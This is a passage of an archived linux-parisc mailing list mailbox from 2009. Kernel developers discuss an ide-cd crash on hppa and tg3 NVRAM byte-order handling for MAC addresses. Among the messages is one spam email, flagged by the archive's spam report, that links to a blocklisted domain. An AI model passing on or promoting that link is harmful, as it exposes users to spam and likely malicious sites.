> for such a big function is not very easy though.

Thanks a lot for trying, I appreciate it. However, I think I have an easier idea
I could try here first and maybe we won't need the hppa assembly exercise :).

> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...

What do you mean by that, please elaborate?

-- 
Regards/Gruss,
    Boris.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Fri, 17 Apr 2009 09:15:27 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <49E82C8F.5060202@gmx.de>
References: <49E6638B.8090700@gmx.de> <20090416063735.GA21742@liondog.tnic> <49E7945E.7030508@gmx.de> <20090417065344.GC6806@liondog.tnic>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239952544 2574 80.91.229.12 (17 Apr 2009 07:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Apr 2009 07:15:44 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: petkovbb@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 17 09:17:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LuiJq-0000xJ-Ia
	for glpp-linux-parisc@gmane.org; Fri, 17 Apr 2009 09:17:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750907AbZDQHPf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Apr 2009 03:15:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751131AbZDQHPf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 17 Apr 2009 03:15:35 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50934 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750907AbZDQHPe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Apr 2009 03:15:34 -0400
Original-Received: (qmail invoked by alias); 17 Apr 2009 07:15:31 -0000
Original-Received: from mnhm-590e04b1.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.4.177]
  by mail.gmx.net (mp056) with SMTP; 17 Apr 2009 09:15:31 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+usBcizp+urP/E9EWgOu/lzvPVYEyP8xjK7MTxri
	xD4Ja6kaGHuhXQ
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090417065344.GC6806@liondog.tnic>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1555
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1555>

Borislav Petkov wrote:
> Hi,
> 
> On Thu, Apr 16, 2009 at 10:26:06PM +0200, Helge Deller wrote:
> 
> [..]
> 
>> I tried to build a kernel with CONFIG_DEBUG_INFO.
>> There are two problem with that, because I'm cross-compiling:
>> a) I don't have a cross-gdb (but I could use addr2line instead though)
>> b) the resulting kernel is becoming too big and won't link/boot:ina
>> ...
>>   SYSMAP  System.map
>>   SYSMAP  .tmp_System.map
>> /sbin/palo -f /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6-32bit/palo.conf
>> palo version 1.14 deller@p100 Fri Jul 28 22:55:11 CEST 2006
>> ELF32 executable
>> ipl: addr 2048 size 36864 entry 0x0
>>  ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
>> <>
>> Your 32-bit-kernel is too big for your F0 partition
>> make[3]: *** [palo] Error 2
>>
>> I could now just try to look into the assembly by hand and try
>> to find which line produces the problem. But reading hppa assembly code
>> for such a big function is not very easy though.
> 
> Thanks a lot for trying, I appreciate it. However, I think I have an easier idea
> I could try here first and maybe we won't need the hppa assembly exercise :).

Great, thanks!
If you want me to test something, just let me know.

>> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
> 
> What do you mean by that, please elaborate?

I meant:
a) Without my patch the kernel did crash (see backtrace in original mail)
b) with my patch the kernel booted to login prompt, but I got those messages on the console:
 hda: command error: status=0x51 { DriveReady SeekComplete Error }
 hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
 ide: failed opcode was: unknown
Nevertheless, mounting a cdrom in the drive didn't suceeded with same/similiar messages, but
this could even be because of the parisc superio driver...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Sat, 18 Apr 2009 17:00:16 -0600
Lines: 130
Approved: news@gmane.org
Message-ID: <20090418230015.GA32177@lackof.org>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com> <20090413180052.GB11076@xw6200.broadcom.net> <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com> <20090413183725.GC11109@xw6200.broadcom.net> <1239655698.3278.83.camel@mulgrave.int.hansenpartnership.com> <20090414011710.GA11615@xw6200.broadcom.net> <20090414153911.GA22011@lackof.org> <20090414190232.GA12600@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1240095630 17931 80.91.229.12 (18 Apr 2009 23:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 18 Apr 2009 23:00:30 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 19 01:01:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LvJXf-0001jL-E2
	for glpp-linux-parisc@gmane.org; Sun, 19 Apr 2009 01:01:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752095AbZDRXAT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 18 Apr 2009 19:00:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753032AbZDRXAT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 18 Apr 2009 19:00:19 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:56873 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752095AbZDRXAR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 18 Apr 2009 19:00:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8BC4233E001E;
	Sat, 18 Apr 2009 17:00:16 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9-WilLTQd0Wk; Sat, 18 Apr 2009 17:00:16 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 0C7E433E0265; Sat, 18 Apr 2009 17:00:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090414190232.GA12600@xw6200.broadcom.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1556>

This is settled already I think...just following up to complete
the conversation. Was "Out of Office" this past week.

On Tue, Apr 14, 2009 at 12:02:32PM -0700, Matt Carlson wrote:
...
> > > tg3_nvram_read() returns a 32-bit word of NVRAM data, swapped according to
> > > the byteswapping rules for all register accesses.
> > 
> > Lets review that calling order I found in 2.6.29-rc8:
> > 	tg3_nvram_read -> tr32 -> tg3_read32 -> readl -> swab
> > 
> > o The swab is actually in tg3_nvram_read.
> 
> Right.
> 
> > o one should be able to get rid of indirect function call in tr32.
> 
> Well, there are situations where the read operation needs to be done
> using a different method.  So that the reader could concentrate on the
> higher-level algorthm, we hide the implementation details of the read
> through a function pointer.

I agree with "why" (problems demand it) but think "how" (implementation)
could be better. Indirect function calls are usually the next most
"expensive" operation after cache misses because they are not predictable
to the CPU (data dependency). I don't know as much about the compiler
behavior with respect to indirect function calls but expect the compiler
can't optimize well either.  So I usually prefer to only see indirect
function calls for "public" APIs and not internal functions.

So what are alternatives?
1) Embedding the choice in tr32() is the first obvious one. is use
   a switch statement and call the respective functions. The compiler
   can inline all the functions into one block since they are
   only being called from one place. Net cost is an extra branch.

2) Not as good as (1), but redefine tr32() to be a macro that is
   an indirect function call.  Maybe that's already happening via
   compiler inlining and I'm being obtuse. 

(1) would make code path explicit to HW/SW and work roughly the same
on all architectures.


> > >  On big endian machines,
> > > the data returned will be exactly as it would have been in NVRAM.  On
> > > little endian machines, the data will be swapped when compared to a raw
> > > read of the NVRAM.
> > 
> > Is this referring to the returned value from readl() or from tg3_nvram_read()?
> 
> It is referring to the value from readl().

Ok - than I hope it's clear the original assertion is not correct.

> 
> > The readl() return value will be the same in both LE and BE architectures.
> > readl() adjusts for endianess.
> > __raw_readl() does not.
> >
> > > To bring the data back to a bytestream format on LE
> > > systems, a swap is needed. 
> > 
> > For the above code path, if swap is needed on LE, it's also needed on BE.
> 
> Well, the 32-bit _value_ will be the same on architectures of either endianness.
> But our goal is to deal with the data as a bytestream.

Ok. This makes sense. But then maybe use __raw_read in this particular case?
Is it possible to read the bytes one at a time?

>  Consequently a > swap is needed.
> 
> For example, reading offset 0x0 of NVRAM (for legacy NVRAM formats)
> readl will always produce a value of 0x669955aa.  On LE machines, this 32-bit
> value will be laid out as :
> 
>   i             i + 3
>   |               |
>   V               V
> ---------------------
> | aa | 55 | 99 | 66 |
> ---------------------
> 
> On BE machines, the byte ordering is obviously reversed.  To do a
> memcpy, the bytes must be in the BE format.

memcpy() doesn't care which "order" bytes are in.
It treats the source/dest memory regions as byte streams as well.

> 
> > > After that, a memcpy should be all that is
> > > required to extract the MAC address.
> > > 
> > > Code that operates on data in a bytestream format will necessarily look
> > > different than code that operates on data as a 32-bit native endian
> > > quantity.  The code changes can look a bit drastic and are easily
> > > culpable at first glance.
> > 
> > This is true for code paths that deal with DMA data. It's not true
> > for readl() or writel() since those are already taking care of
> > the endianess.
> 
> Again, think bytestream.

The data is not a byte stream (yet) since we used readl() to retrieve
the value. Use cpu_to_le32() to convert what was originally an LE byte
stream back to a LE byte stream.

Using either __raw_read() or readb() would have avoided this confusion.


> > I'll stop here since most of the discussion is based on not knowing
> > that readl() takes care of endianess.
> 
> Yes.  I think the discussion will be resolved once we distinguish
> between operating on the data as a value and operating on the data as a
> bytestream.

Personally, it's easier for me compare "CPU register data" (aka "value")
vs "data in Memory" (which is inherently a byte stream). The CPU is the
one that is imposing an endianness to multi-byte data in memory.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Miller" <robert.itschner@deloitte.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Get more pleasure in love!
Date: Sun, 19 Apr 2009 14:34:25 +0900
Lines: 7
Approved: news@gmane.org
Message-ID: <20090419143425.7090808@deloitte.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240120244 25469 80.91.229.12 (19 Apr 2009 05:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 19 Apr 2009 05:50:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 19 07:52:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LvPwf-0006MQ-Um
	for glpp-linux-parisc@gmane.org; Sun, 19 Apr 2009 07:52:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751671AbZDSFud (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 19 Apr 2009 01:50:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752535AbZDSFud
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 19 Apr 2009 01:50:33 -0400
Original-Received: from [211.36.167.56] ([211.36.167.56]:2840 "HELO wergvan"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1751671AbZDSFuc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 19 Apr 2009 01:50:32 -0400
Original-Received: (qmail 4985 invoked from network); Sun, 19 Apr 2009 14:34:25 +0900
Original-Received: from unknown (HELO kxgzqq) (55.227.142.94)
	by wergvan with SMTP; Sun, 19 Apr 2009 14:34:25 +0900
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 15.0 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?211.36.167.56>]
 *  4.0 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
 *      [211.36.167.56 listed in sbl-xbl.spamhaus.org]
 *  2.0 URIBL_AB_SURBL Contains an URL listed in the AB SURBL blocklist
 *      [URIs: nradilbiwi.com]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: nradilbiwi.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1557 gmane.spam.detected:4366207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1557>

She will be a nughty girl again. http://wi.nradilbiwi.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Sun, 19 Apr 2009 00:30:26 -0700
Lines: 182
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB343977242177D75A059@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <20090418230015.GA32177@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1240126249 3018 80.91.229.12 (19 Apr 2009 07:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 19 Apr 2009 07:30:49 +0000 (UTC)
Cc: "James Bottomley" <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>
To: "'Grant Grundler'" <grundler@parisc-linux.org>,
	"Matthew Carlson" <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 19 09:32:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LvRVW-00012K-JW
	for glpp-linux-parisc@gmane.org; Sun, 19 Apr 2009 09:32:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752057AbZDSHaj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 19 Apr 2009 03:30:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752193AbZDSHaj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 19 Apr 2009 03:30:39 -0400
Original-Received: from mms1.broadcom.com ([216.31.210.17]:2064 "EHLO mms1.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752057AbZDSHai convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 19 Apr 2009 03:30:38 -0400
Original-Received: from [10.9.200.133] by mms1.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Sun, 19 Apr 2009 00:30:27 -0700
X-Server-Uuid: 02CED230-5797-4B57-9875-D5D2FEE4708A
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB02.corp.ad.broadcom.com ([10.9.200.133]) with mapi; Sun, 19
 Apr 2009 00:31:51 -0700
Thread-Topic: [PATCH] tg3: fix big endian MAC address collection failure
Thread-Index: AcnAeXf21+H9DV0XTp64kZvTNfCfZQATBbMg
In-Reply-To: <20090418230015.GA32177@lackof.org>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 65F40C9938410401636-01-01
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1558
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1558>

Grant Grundler wrote:

> This is settled already I think...just following up to complete
> the conversation. Was "Out of Office" this past week.
>
> On Tue, Apr 14, 2009 at 12:02:32PM -0700, Matt Carlson wrote:
> ...
> > > > tg3_nvram_read() returns a 32-bit word of NVRAM data,
> swapped according to
> > > > the byteswapping rules for all register accesses.
> > >
> > > Lets review that calling order I found in 2.6.29-rc8:
> > >   tg3_nvram_read -> tr32 -> tg3_read32 -> readl -> swab
> > >
> > > o The swab is actually in tg3_nvram_read.
> >
> > Right.
> >
> > > o one should be able to get rid of indirect function call in tr32.
> >
> > Well, there are situations where the read operation needs to be done
> > using a different method.  So that the reader could
> concentrate on the
> > higher-level algorthm, we hide the implementation details
> of the read
> > through a function pointer.
>
> I agree with "why" (problems demand it) but think "how"
> (implementation)
> could be better. Indirect function calls are usually the next most
> "expensive" operation after cache misses because they are not
> predictable
> to the CPU (data dependency). I don't know as much about the compiler
> behavior with respect to indirect function calls but expect
> the compiler
> can't optimize well either.  So I usually prefer to only see indirect
> function calls for "public" APIs and not internal functions.

We've had a lengthy discussion on this topic with DaveM and jgarzik many
years ago.  Marc is down and I cannot find the archive.  It was agreed
that the function pointer approach is better than a cascade of if -
else if - else if approach.  The Branch target buffers in modern CPUs
are supposed to be able to predict these function pointer branches
if we are using the same method in the hot code path.

>
> So what are alternatives?
> 1) Embedding the choice in tr32() is the first obvious one. is use
>    a switch statement and call the respective functions. The compiler
>    can inline all the functions into one block since they are
>    only being called from one place. Net cost is an extra branch.
>
> 2) Not as good as (1), but redefine tr32() to be a macro that is
>    an indirect function call.  Maybe that's already happening via
>    compiler inlining and I'm being obtuse.
>
> (1) would make code path explicit to HW/SW and work roughly the same
> on all architectures.
>
>
> > > >  On big endian machines,
> > > > the data returned will be exactly as it would have been
> in NVRAM.  On
> > > > little endian machines, the data will be swapped when
> compared to a raw
> > > > read of the NVRAM.
> > >
> > > Is this referring to the returned value from readl() or
> from tg3_nvram_read()?
> >
> > It is referring to the value from readl().
>
> Ok - than I hope it's clear the original assertion is not correct.
>
> >
> > > The readl() return value will be the same in both LE and
> BE architectures.
> > > readl() adjusts for endianess.
> > > __raw_readl() does not.
> > >
> > > > To bring the data back to a bytestream format on LE
> > > > systems, a swap is needed.
> > >
> > > For the above code path, if swap is needed on LE, it's
> also needed on BE.
> >
> > Well, the 32-bit _value_ will be the same on architectures
> of either endianness.
> > But our goal is to deal with the data as a bytestream.
>
> Ok. This makes sense. But then maybe use __raw_read in this
> particular case?
> Is it possible to read the bytes one at a time?
>
> >  Consequently a > swap is needed.
> >
> > For example, reading offset 0x0 of NVRAM (for legacy NVRAM formats)
> > readl will always produce a value of 0x669955aa.  On LE
> machines, this 32-bit
> > value will be laid out as :
> >
> >   i             i + 3
> >   |               |
> >   V               V
> > ---------------------
> > | aa | 55 | 99 | 66 |
> > ---------------------
> >
> > On BE machines, the byte ordering is obviously reversed.  To do a
> > memcpy, the bytes must be in the BE format.
>
> memcpy() doesn't care which "order" bytes are in.
> It treats the source/dest memory regions as byte streams as well.

Yeah, I think the point is that the source data needs to be in the
desired byte stream order.

>
> >
> > > > After that, a memcpy should be all that is
> > > > required to extract the MAC address.
> > > >
> > > > Code that operates on data in a bytestream format will
> necessarily look
> > > > different than code that operates on data as a 32-bit
> native endian
> > > > quantity.  The code changes can look a bit drastic and
> are easily
> > > > culpable at first glance.
> > >
> > > This is true for code paths that deal with DMA data. It's not true
> > > for readl() or writel() since those are already taking care of
> > > the endianess.
> >
> > Again, think bytestream.
>
> The data is not a byte stream (yet) since we used readl() to retrieve
> the value. Use cpu_to_le32() to convert what was originally an LE byte
> stream back to a LE byte stream.
>
> Using either __raw_read() or readb() would have avoided this
> confusion.

It's a 32-bit so we cannot use readb().  I don't think the chip will decode
the byte enables.  I don't like to use __raw_read() because it does not have
the same memory barrier as regular readl().

>
>
> > > I'll stop here since most of the discussion is based on
> not knowing
> > > that readl() takes care of endianess.
> >
> > Yes.  I think the discussion will be resolved once we distinguish
> > between operating on the data as a value and operating on
> the data as a
> > bytestream.
>
> Personally, it's easier for me compare "CPU register data"
> (aka "value")
> vs "data in Memory" (which is inherently a byte stream). The
> CPU is the
> one that is imposing an endianness to multi-byte data in memory.

Not sure if I understand your statement.  The point is that we need
to provide a consistent view of the NVRAM data regardless of the
host machine's endianess.  So we present the data as an array of
bytes.

Thanks.

>
> thanks,
> grant
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Sun, 19 Apr 2009 16:32:02 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20090419223201.GA22926@lackof.org>
References: <20090418230015.GA32177@lackof.org> <C27F8246C663564A84BB7AB343977242177D75A059@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1240180336 10764 80.91.229.12 (19 Apr 2009 22:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 19 Apr 2009 22:32:16 +0000 (UTC)
Cc: 'Grant Grundler' <grundler@parisc-linux.org>,
	Matthew Carlson <mcarlson@broadcom.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 20 00:33:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LvfZt-0000Wm-BE
	for glpp-linux-parisc@gmane.org; Mon, 20 Apr 2009 00:33:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751444AbZDSWcF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 19 Apr 2009 18:32:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751634AbZDSWcF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 19 Apr 2009 18:32:05 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:56308 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751444AbZDSWcE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 19 Apr 2009 18:32:04 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 6F00933E018A;
	Sun, 19 Apr 2009 16:32:02 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2U+iv5Zfy2UD; Sun, 19 Apr 2009 16:32:02 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 07EA133E023E; Sun, 19 Apr 2009 16:32:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <C27F8246C663564A84BB7AB343977242177D75A059@IRVEXCHCCR01.corp.ad.broadcom.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1559
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1559>

On Sun, Apr 19, 2009 at 12:30:26AM -0700, Michael Chan wrote:
[ Deleted my comments about indirect function calls. ]
...
> We've had a lengthy discussion on this topic with DaveM and jgarzik many
> years ago.  Marc is down and I cannot find the archive.  It was agreed
> that the function pointer approach is better than a cascade of if -
> else if - else if approach.  The Branch target buffers in modern CPUs
> are supposed to be able to predict these function pointer branches
> if we are using the same method in the hot code path.

Ok - thanks. I can look for that.

...
> > The data is not a byte stream (yet) since we used readl() to retrieve
> > the value. Use cpu_to_le32() to convert what was originally an LE byte
> > stream back to a LE byte stream.
> >
> > Using either __raw_read() or readb() would have avoided this
> > confusion.
> 
> It's a 32-bit so we cannot use readb().  I don't think the chip will decode
> the byte enables.

Ok. Thanks for clarifying.

> I don't like to use __raw_read() because it does not have
> the same memory barrier as regular readl().

I don't think the memory barrier is necessary in the "get" case.
wmb() is probably needed in the "set" case.

I was thinking that avoiding several byte swaps would make the code
more maintainable and one wmb() could be explained with a comment.
Remember, we are having this conversation because the MAC address
was incorrectly ordered on BE machine. Seems that a "load from NVRAM"
and "Store to HostMem" preserves the byte stream order in the same
way memcpy would. And would be heck of a lot easier to understand.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
